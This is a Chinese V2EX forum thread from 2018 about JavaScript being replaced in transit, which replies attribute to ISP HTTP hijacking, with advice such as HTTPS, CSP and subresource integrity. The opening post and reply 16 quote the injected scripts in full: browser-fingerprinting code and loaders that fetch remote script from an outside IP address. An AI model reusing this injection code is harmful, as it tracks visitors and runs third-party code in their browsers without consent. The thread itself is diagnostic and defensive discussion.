JS 内容被篡改,代码部署在云服务器,如何跟踪在哪个环节被篡改? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
推荐关注
Meteor
JSLint - a Javascript code quality tool
jsFiddle
D3.js
WebStorm
推荐书目
Javascript 权威指南第 5 版
Closure: The Definitive Guide
AifeiI
V2EX    Javascript

JS 内容被篡改,代码部署在云服务器,如何跟踪在哪个环节被篡改?

  •  
  •   AifeiI 2018-02-08 11:59:06 +08:00 9452 次点击
    这是一个创建于 2871 天前的主题,其中的信息可能已经有所发展或是发生改变。

    被篡改后的 js:

     ! function(a, b) { function c(a) { var d, e, f, g, h, i, b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; for (new Array( - 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1), f = a.length, e = 0, d = ""; f > e;) { if (g = 255 & a.charCodeAt(e++), e == f) { d += b.charAt(g >> 2), d += b.charAt((3 & g) << 4), d += "=="; break } if (h = a.charCodeAt(e++), e == f) { d += b.charAt(g >> 2), d += b.charAt((3 & g) << 4 | (240 & h) >> 4), d += b.charAt((15 & h) << 2), d += "="; break } i = a.charCodeAt(e++), d += b.charAt(g >> 2), d += b.charAt((3 & g) << 4 | (240 & h) >> 4), d += b.charAt((15 & h) << 2 | (192 & i) >> 6), d += b.charAt(63 & i) } return d } function d() { return - 1 != b.userAgent.indexOf("MSIE") ? "ie": -1 != b.userAgent.indexOf("Chrome") ? "Chrome": -1 != b.userAgent.indexOf("Firefox") ? "Firefox": -1 != b.userAgent.indexOf("Opera") ? "Opera": -1 != b.userAgent.indexOf("Netscape") ? "Netscape": -1 != b.userAgent.indexOf("Safari") ? "Safari": "" } function e() { function e() { var a = "", c = b.plugins; if (c.length > 0) for (k = 0; k < b.plugins.length; k++) a += b.plugins[k].name + ";"; return a } var f = b.appName, g = b.cookieEnabled, h = b.cpuClass, i = b.mimeTypes, j = b.platform, l = b.plugins, m = b.userAgent; return pStr = "type=" + d() + "&userAgent=" + m + "&appName=" + f + "&cookieEnabled=" + g + "&cpuClass=" + h + "&mimeType_length=" + i.length + "&platform=" + j + "&plugins_length=" + l.length + "&allPluginName=" + e() + "&window_screen_width=" + a.screen.width + "&window_screen_height=" + a.screen.height + "&window_screen_colorDepth=" + a.screen.colorDepth, c(pStr) } function g(a) { try { var b = new Image; b.src = 'http://183.59.53.237:8001/supplies/dot.gif?_b=' + _b + "&_n=" + a + " &_f=" + f + "&_js=https://assets-cdn.github.com/assets/github-857f3c501c8f.js?_t=1518060074842&_r=" + Math.random() } catch(c) {} } var h, i, j, k, l, m, n, f = 0; return window.innerWidth ? f = window.innerWidth: document.body && document.body.clientWidth && (f = document.body.clientWidth), document.documentElement && document.documentElement.clientWidth && (f = document.documentElement.clientWidth), window.self != window.top ? (g("iframe"), void 0) : (h = 0, (/AppleWebKit.*Mobile/i.test(navigator.userAgent) || navigator.userAgent.match(/(iPhone|iPod|iPad|Android|ios|BlackBerry|MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE)/i)) && (h = 1), 600 > f && 0 == h ? (g("pc"), void 0) : (i = e(), k = 0, l = 0, m = "scripts2s", n = document.createElement("script"), n.setAttribute("type", "text/Javascript"), n.setAttribute("src", "http://183.59.53.237:8001/pjk/xjk/index.php?b=" + _b + "&pid=" + i + "&c=" + _c), n.id = m, document.body ? document.getElementById(m) || document.body.appendChild(n) : j = setInterval(function() { if (k++, 10 == k) return clearInterval(j), void 0; try { document.getElementById(m) || 1 == l ? clearInterval(j) : document.body && (document.body.appendChild(n), l = 1) } catch(a) {} }, 500), void 0)) } (window, navigator); 

    除了上 https 还有其它办法?

    第 1 条附言    2018-02-08 13:54:52 +08:00

    补充


    uiq.mlnbike.com <---> 183.59.53.237

    篡改后访问域名就是用2525端口,如果篡改后访问 ip ,则用8001端口,你篡改加广告就算了,写的JS有问题,执行不了(没广告就没绩效),也拿不到我原有内容加载,烦人,怎么投诉

    第 2 条附言    2018-02-11 11:39:08 +08:00
    和小伙伴商量后,让客户申请 CA 证书,启用 HTTPS 协议了
    41 条回复    2018-04-11 20:40:09 +08:00
    yangqi
        1
    yangqi  
       2018-02-08 12:04:01 +08:00
    上 https 也没用,目测是代码有漏洞,这个只能一步步排查
    morethansean
        2
    morethansean  
       2018-02-08 12:14:32 +08:00
    我本来以为就是劫持看了一楼的回复,你是说服务器上的源文件被串改了?
    opengps
        3
    opengps  
       2018-02-08 12:36:43 +08:00
    多数垃圾 js 是 http 协议传输导致在网络传输过程中被注入。
    个别的情况,我遇到过一次,服务器中了一个垃圾广告流氓病毒,对外输出时候就成了带垃圾 js 的。
    如果是 http 中间注入很容易识别,在服务器上,本地访问查看源码即可(条件允许最好是用内网服务器查看),另外就是多几个客户端线路访问下进行对比。 这里顺便聚个现实例子,谴责下长城宽带,我自己的网站,从本地联通到本地长城宽带,就被注入了广告
    7654
        4
    7654  
       2018-02-08 12:38:05 +08:00
    是被劫持了是云主机被黑了?
    AifeiI
        5
    AifeiI  
    OP
       2018-02-08 13:25:53 +08:00
    @yangqi #1

    @morethansean #2

    @opengps #3

    @7654 #4

    不是服务器文件被篡改,是访问页面时,某一个 js 获取的请求得到的内容被篡改为以上内容(一定几率会遇到),原内容直接访问地址是可以获取到的。
    timothyye
        6
    timothyye  
       2018-02-08 13:32:44 +08:00
    看来得上 https
    just1
        7
    just1  
       2018-02-08 13:32:45 +08:00 via Android
    你先服务器本地访问试试,也出现就排除网络因素
    wrongwaycn
        8
    wrongwaycn  
       2018-02-08 13:38:04 +08:00
    你是不是用了 daovoice?
    AifeiI
        9
    AifeiI  
    OP
       2018-02-08 13:42:10 +08:00
    @wrongwaycn 并没有
    wrongwaycn
        10
    wrongwaycn  
       2018-02-08 13:44:21 +08:00
    那你人在深圳么?
    vghdjgh
        11
    vghdjgh  
       2018-02-08 13:44:55 +08:00 via Android
    subresource integrity
    AifeiI
        12
    AifeiI  
    OP
       2018-02-08 13:47:37 +08:00
    @just1 本地确认过,没有问题
    wrongwaycn
        13
    wrongwaycn  
       2018-02-08 13:48:25 +08:00
    @AifeiI 我现在遇到了和你一样的问题,我的坐标是深圳南山区软件创业基地, 当我以 http 引用所有来自 daovoice 的 js 时, 就会出现如你一样的 js 填入
    AifeiI
        14
    AifeiI  
    OP
       2018-02-08 13:50:21 +08:00
    @wrongwaycn 不在
    wrongwaycn
        15
    wrongwaycn  
       2018-02-08 13:52:05 +08:00
    <script type='text/Javascript' src="http://widget.daovoice.io/XXXXXXX.js"></script>
    当我模板中出现这个 js 引入时, 就会被填入 js 代码
    wrongwaycn
        16
    wrongwaycn  
       2018-02-08 13:53:37 +08:00
    这是被填入的 js 内容
    var _ju = "http://widget.daovoice.io/xx.js";_ju += (_ju.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());var _b = "AH488609";var _c = "111771091_(iKgfV1g6wj8dwKyRiK5N_2069540581_@iKmfiJPNDK9dD6oeiKy6VXTa";
    var N1=document.createElement("script");N1.setAttribute("type","text/Javascript"),N1.setAttribute("src",_ju),document.head?document.head.appendChild(N1):document.body&&document.body.appendChild(N1);
    var N2=document.createElement("script");N2.setAttribute("type","text/Javascript"),N2.setAttribute("src","http://183.59.53.237:8001/pjk/static/tp.php?b="+_b+"&m="+_ju),document.head?document.head.appendChild(N2):document.body&&document.body.appendChild(N2);
    AifeiI
        17
    AifeiI  
    OP
       2018-02-08 13:58:11 +08:00
    @wrongwaycn 好吧,那就是 ISP 老油条又来年底拉绩效了
    wrongwaycn
        18
    wrongwaycn  
       2018-02-08 14:00:48 +08:00
    其他的外部 js 就不会, daocloud/daovoice 都中招, 我把网络切换到手机热点就不用被注入 js 代码
    AifeiI
        19
    AifeiI  
    OP
       2018-02-08 14:01:06 +08:00
    @vghdjgh 不用 HTTPS 的话,也是没有效果....
    pmispig
        20
    pmispig  
       2018-02-08 14:10:09 +08:00
    应该是 http 被劫持了,不然用 vpn 内网访问试试
    Loyalsoldier
        21
    Loyalsoldier  
       2018-02-08 14:14:06 +08:00
    在服务器响应加一下 CSP 规则就好了
    hcymk2
        22
    hcymk2  
       2018-02-08 14:15:05 +08:00
    试下 Content Security Policy
    AifeiI
        23
    AifeiI  
    OP
       2018-02-08 14:15:42 +08:00
    @pmispig 在这个大环境下,能不用就尽量不用。
    AifeiI
        24
    AifeiI  
    OP
       2018-02-08 14:16:15 +08:00
    @wrongwaycn 估计是电信机房搞的鬼
    AifeiI
        25
    AifeiI  
    OP
       2018-02-08 14:19:41 +08:00
    @Loyalsoldier #21

    @hcymk2 #22

    这是禁止执行,但问题是篡改了原有的 JS 内容,导致项目无法运作,这才是烦心的点。申请 CA 证书还要搞一堆配置,然后就是等,等等,等等
    Loyalsoldier
        26
    Loyalsoldier  
       2018-02-08 14:21:40 +08:00
    @AifeiI #25
    不好意思,没仔细看题。
    只能上 HTTPS 了。先用 Let's Encrypt 证书顶着
    POPOEVER
        27
    POPOEVER  
       2018-02-08 14:23:24 +08:00
    电信劫持吧
    SourceMan
        28
    SourceMan  
       2018-02-08 14:37:50 +08:00
    多大件事,不就是劫持嘛

    上 HTTPS 规避一波。
    opengps
        29
    opengps  
       2018-02-08 15:32:53 +08:00
    @AifeiI 那就毫无疑问了,上 https 让中间劫持者看不懂传输内容来避免这个问题
    blessyou
        30
    blessyou  
       2018-02-08 15:41:18 +08:00 via Android
    坐标深圳,也出现这个问题,插入的 js 地址在梅州...
    pynix
        31
    pynix  
       2018-02-08 15:44:20 +08:00
    劫持。。。
    leefly
        32
    leefly  
       2018-02-08 16:01:56 +08:00
    把 js 当 html 传输,用的时候再转成 js 试试看
    Kakus
        33
    Kakus  
       2018-02-08 20:24:25 +08:00
    应该是运营商的问题,试了用手机开热点和用代理服务器方式访问,都不会出现,换回电信的网就又出来了。打了 10000 号客服投诉了,半小时之后问题没有再重现,估计后台把我们的网站放开了。
    caola
        34
    caola  
       2018-02-09 02:07:23 +08:00
    什么年代了?居然还有不上 https 的网站?。。。
    sdrzlyz
        35
    sdrzlyz  
       2018-02-09 09:09:16 +08:00 via Android
    都 2018 年了,上个 https 很难嘛?
    mandy0119
        36
    mandy0119  
       2018-02-09 10:29:26 +08:00
    运营商吧。
    yexm0
        37
    yexm0  
       2018-02-09 22:49:42 +08:00
    你是深圳电信用户?
    AifeiI
        38
    AifeiI  
    OP
       2018-02-11 11:37:28 +08:00
    @yexm0 广东电信
    WindowPain
        39
    WindowPain  
       2018-02-12 13:22:24 +08:00
    深圳电信。最近总是有弹窗,链接是 syt.mlnbike.com:2525/XXX,跳转去“品库特卖”。
    这个“品库特卖”的链接小尾巴公然写着“?pk_from=dianxin ”……
    linkdesu
        40
    linkdesu  
       2018-04-11 12:03:22 +08:00
    @WindowPain 我最近也是遇到这问题,请问你的解决了吗?
    WindowPain
        41
    WindowPain  
       2018-04-11 20:40:09 +08:00
    @linkdesu 不在深圳了。运营商劫持,估计除了投诉外,只能等网站部署 https 了吧。
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2637 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 35ms UTC 11:42 PVG 19:42 LAX 03:42 JFK 06:42
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86